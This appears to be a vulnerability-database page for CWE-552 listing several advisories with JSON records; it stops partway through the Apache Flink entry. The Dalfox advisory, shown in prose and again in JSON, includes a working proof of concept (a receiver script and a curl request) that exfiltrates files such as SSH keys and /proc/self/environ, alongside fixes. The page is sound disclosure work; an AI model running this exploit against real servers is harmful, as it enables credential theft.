Common Weakness Enumeration

CWE-552

Allowed

Files or Directories Accessible to External Parties

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product makes files or directories accessible to unauthorized actors, even though they should not be.

699 vulnerabilities reference this CWE, most recent first.

GHSA-32Q5-2WWG-3V4V

Vulnerability from github – Published: 2024-06-20 09:30 – Updated: 2026-04-08 21:32
VLAI
Details

The Shariff Wrapper plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 4.6.13 via the shariff3uu_fetch_sharecounts function. This allows unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T07:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "The Shariff Wrapper plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 4.6.13 via the shariff3uu_fetch_sharecounts function. This allows unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included.",
  "id": "GHSA-32q5-2wwg-3v4v",
  "modified": "2026-04-08T21:32:48Z",
  "published": "2024-06-20T09:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4098"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/shariff/trunk/shariff.php#L410"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3103137"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f49fba00-c576-4a1a-8b0b-9ebed3e3d090?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-35G5-FMHJ-F29Q

Vulnerability from github – Published: 2023-03-08 21:30 – Updated: 2023-03-17 15:30
VLAI
Details

onekeyadmin v1.3.9 was discovered to contain an arbitrary file read vulnerability via the component /admin1/curd/code.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-26956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-08T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "onekeyadmin v1.3.9 was discovered to contain an arbitrary file read vulnerability via the component /admin1/curd/code.",
  "id": "GHSA-35g5-fmhj-f29q",
  "modified": "2023-03-17T15:30:25Z",
  "published": "2023-03-08T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keheying/onekeyadmin/issues/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-35Q6-5V8G-78C6

Vulnerability from github – Published: 2023-11-30 18:31 – Updated: 2023-11-30 18:31
VLAI
Details

Tyler Technologies Court Case Management Plus may store backups in a location that can be accessed by a remote, unauthenticated attacker. Backups may contain sensitive information such as database credentials.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-30T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Tyler Technologies Court Case Management Plus may store backups in a location that can be accessed by a remote, unauthenticated attacker. Backups may contain sensitive information such as database credentials.\n\n\n",
  "id": "GHSA-35q6-5v8g-78c6",
  "modified": "2023-11-30T18:31:19Z",
  "published": "2023-11-30T18:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qwell/disorder-in-the-court/blob/main/README-TylerTechnologies.md"
    },
    {
      "type": "WEB",
      "url": "https://techcrunch.com/2023/11/30/us-court-records-systems-vulnerabilities-exposed-sealed-documents"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/alerts/2023/11/30/multiple-vulnerabilities-affecting-web-based-court-case-and-document-management-systems"
    },
    {
      "type": "WEB",
      "url": "https://www.tylertech.com/solutions/courts-public-safety/courts-justice"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-35WR-X7V6-9FV2

Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 23:50
VLAI
Summary
Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`
Details

Summary

When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack Vector: Network — server binds to 0.0.0.0:6664 by default; reachable by any network peer.
  • Attack Complexity: Low — no preconditions beyond network access; skip-discovery and param are both attacker-supplied, so the code path is fully under attacker control.
  • Privileges Required: None — --api-key defaults to "", so the auth middleware is not registered.
  • User Interaction: None.
  • Scope: Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
  • Confidentiality Impact: High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, /etc/passwd, etc.
  • Integrity Impact: None — this path is read-only.
  • Availability Impact: None.

Affected Component

  • cmd/server.go — init() (line 51): --api-key defaults to "" — no auth by default
  • pkg/server/server.go — setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
  • pkg/server/server.go — postScanHandler() (lines 173–191): rq.Options (including CustomPayloadFile) passed to ScanFromAPI without sanitization
  • lib/func.go — Initialize() (line 117): CustomPayloadFile explicitly propagated from caller options
  • pkg/scanning/scan.go — anonymous block (lines 341–368): voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) reads file; contents injected into outbound requests

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-73: External Control of File Name or Path
  • CWE-552: Files or Directories Accessible to External Parties

Description

custom-payload-file Is Fully Attacker-Controlled

model.Options exposes CustomPayloadFile with a JSON tag:

// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`

postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:

// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},

File Read and Exfiltration Path

In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:

// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
    if err != nil {
        printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
    } else {
        for _, customPayload := range ff {
            if customPayload != "" {
                for k, v := range params {
                    if optimization.CheckInspectionParam(options, k) {
                        ...
                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
                        query[tq] = tm
                    }
                }
            }
        }
    }
}

Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).

Condition Is Trivially Satisfiable

The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body — a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:

// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
    return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
    params[paramName] = model.ParamResult{
        Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
    }
}
policy["Content-Type"] = "text/html"

Both conditions are fully attacker-controlled through the JSON request body.

No Defense at Any Layer

The same opt-in API key guard from the first finding applies identically here:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.

Proof of Concept

# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        print("[RECEIVED] q =", q, flush=True)
        body = b'<html><body>ok</body></html>'
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "custom-payload-file": "/etc/hostname",
      "only-custom-payload": true,
      "skip-discovery": true,
      "param": ["q"],
      "use-headless": false,
      "worker": 1
    }
  }'

# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local

# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request

No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).

Impact

  • Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, .env files, cloud credential files, /proc/self/environ) can be exfiltrated one line at a time.
  • No authentication required under the default configuration.
  • The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
  • Combined with the found-action RCE finding (separate issue), an attacker could first read /proc/self/environ to harvest secrets, then execute commands.

Recommended Remediation

Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)

Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:

// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""

Option 2: Require --api-key at server startup

Make authentication mandatory and refuse to start without it:

// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    os.Exit(1)
}

Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.

Credit

Emmanuel David

Github:- https://github.com/drmingler

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hahwul/dalfox/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-552",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:08:13Z",
    "nvd_published_at": "2026-05-27T18:16:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High \u2014 the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc.\n- **Integrity Impact:** None \u2014 this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"` \u2014 no auth by default\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg/scanning/scan.go` \u2014 anonymous block (lines 341\u2013368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n// pkg/model/options.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n// lib/func.go:117\n\"CustomPayloadFile\": {\u0026newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n// pkg/scanning/scan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) \u0026\u0026 options.CustomPayloadFile != \"\" {\n    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n    if err != nil {\n        printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n    } else {\n        for _, customPayload := range ff {\n            if customPayload != \"\" {\n                for k, v := range params {\n                    if optimization.CheckInspectionParam(options, k) {\n                        ...\n                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n                        query[tq] = tm\n                    }\n                }\n            }\n        }\n    }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file\u0027s contents to the attacker\u0027s server as the value of the nominated parameter (e.g., `?q=\u003cfile-line\u003e`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body \u2014 a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text/html\"` and populates `params[\"q\"]` automatically:\n\n```go\n// pkg/scanning/scan.go:224-240\nif len(options.UniqParam) == 0 {\n    return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n    params[paramName] = model.ParamResult{\n        Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n    }\n}\npolicy[\"Content-Type\"] = \"text/html\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n        print(\"[RECEIVED] q =\", q, flush=True)\n        body = b\u0027\u003chtml\u003e\u003cbody\u003eok\u003c/body\u003e\u003c/html\u003e\u0027\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Exfiltrate /etc/hostname (or any file readable by the dalfox process)\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"custom-payload-file\": \"/etc/hostname\",\n      \"only-custom-payload\": true,\n      \"skip-discovery\": true,\n      \"param\": [\"q\"],\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }\u0027\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`).\n\n## Impact\n\n- **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time.\n- **No authentication required** under the default configuration.\n- The exfiltration channel is the dalfox host\u0027s own outbound HTTP scan traffic \u2014 no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.\n- Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nApply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before ScanFromAPI:\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.OutputFile = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Require `--api-key` at server startup\n\nMake authentication mandatory and refuse to start without it:\n\n```go\n// cmd/server.go \u2014 in runServerCmd:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    os.Exit(1)\n}\n```\n\nBoth options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
  "id": "GHSA-35wr-x7v6-9fv2",
  "modified": "2026-06-08T23:50:09Z",
  "published": "2026-05-12T15:08:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45088"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hahwul/dalfox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`"
}

GHSA-36WP-8FJ8-G4XG

Vulnerability from github – Published: 2022-05-01 02:02 – Updated: 2022-05-01 02:02
VLAI
Details

NEXTWEB (i)Site stores databases under the web document root with insufficient access control, which allows remote attackers to obtain sensitive information via a direct request to databases/Users.mdb.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2005-1835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-06-01T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "NEXTWEB (i)Site stores databases under the web document root with insufficient access control, which allows remote attackers to obtain sensitive information via a direct request to databases/Users.mdb.",
  "id": "GHSA-36wp-8fj8-g4xg",
  "modified": "2022-05-01T02:02:23Z",
  "published": "2022-05-01T02:02:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-1835"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=111764682925083\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/15560"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1014085"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-38RQ-QMC9-CQ4F

Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-27 15:33
VLAI
Details

IBM QRadar 7.5.0 through 7.5.0 UP15 Interim Fix 002 could allow a privileged user to upload a malicious backup archive that could be restored and used to gain access to the underlying operating system.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-530",
      "CWE-552"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T14:16:41Z",
    "severity": "HIGH"
  },
  "details": "IBM QRadar 7.5.0 through 7.5.0 UP15 Interim Fix 002 could allow a privileged user to upload a malicious backup archive that could be restored and used to gain access to the underlying operating system.",
  "id": "GHSA-38rq-qmc9-cq4f",
  "modified": "2026-05-27T15:33:10Z",
  "published": "2026-05-27T15:33:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56462"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7273957"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-395W-QHQR-9FR6

Vulnerability from github – Published: 2021-01-06 20:01 – Updated: 2025-10-22 17:58
VLAI
Summary
Path Traversal in Apache Flink
Details

A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s) are exposed. The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.flink:flink-runtime_2.11"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.flink:flink-runtime_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-17519"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-06T20:01:15Z",
    "nvd_published_at": "2021-01-05T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s) are exposed. The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.",
  "id": "GHSA-395w-qhqr-9fr6",
  "modified": "2025-10-22T17:58:28Z",
  "published": "2021-01-06T20:01:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17519"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-17519"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra8c96bf3ccb4e491f9ce87ba35f134b4449beb2a38d1ce28fd89001f@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra8c96bf3ccb4e491f9ce87ba35f134b4449beb2a38d1ce28fd89001f%40%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922@%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r88f427865fb6aa6e6378efe07632a1906b430365e15e3b9621aabe1d@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r88f427865fb6aa6e6378efe07632a1906b430365e15e3b9621aabe1d%40%3Cissues.flink.apache.org%3E"
    },
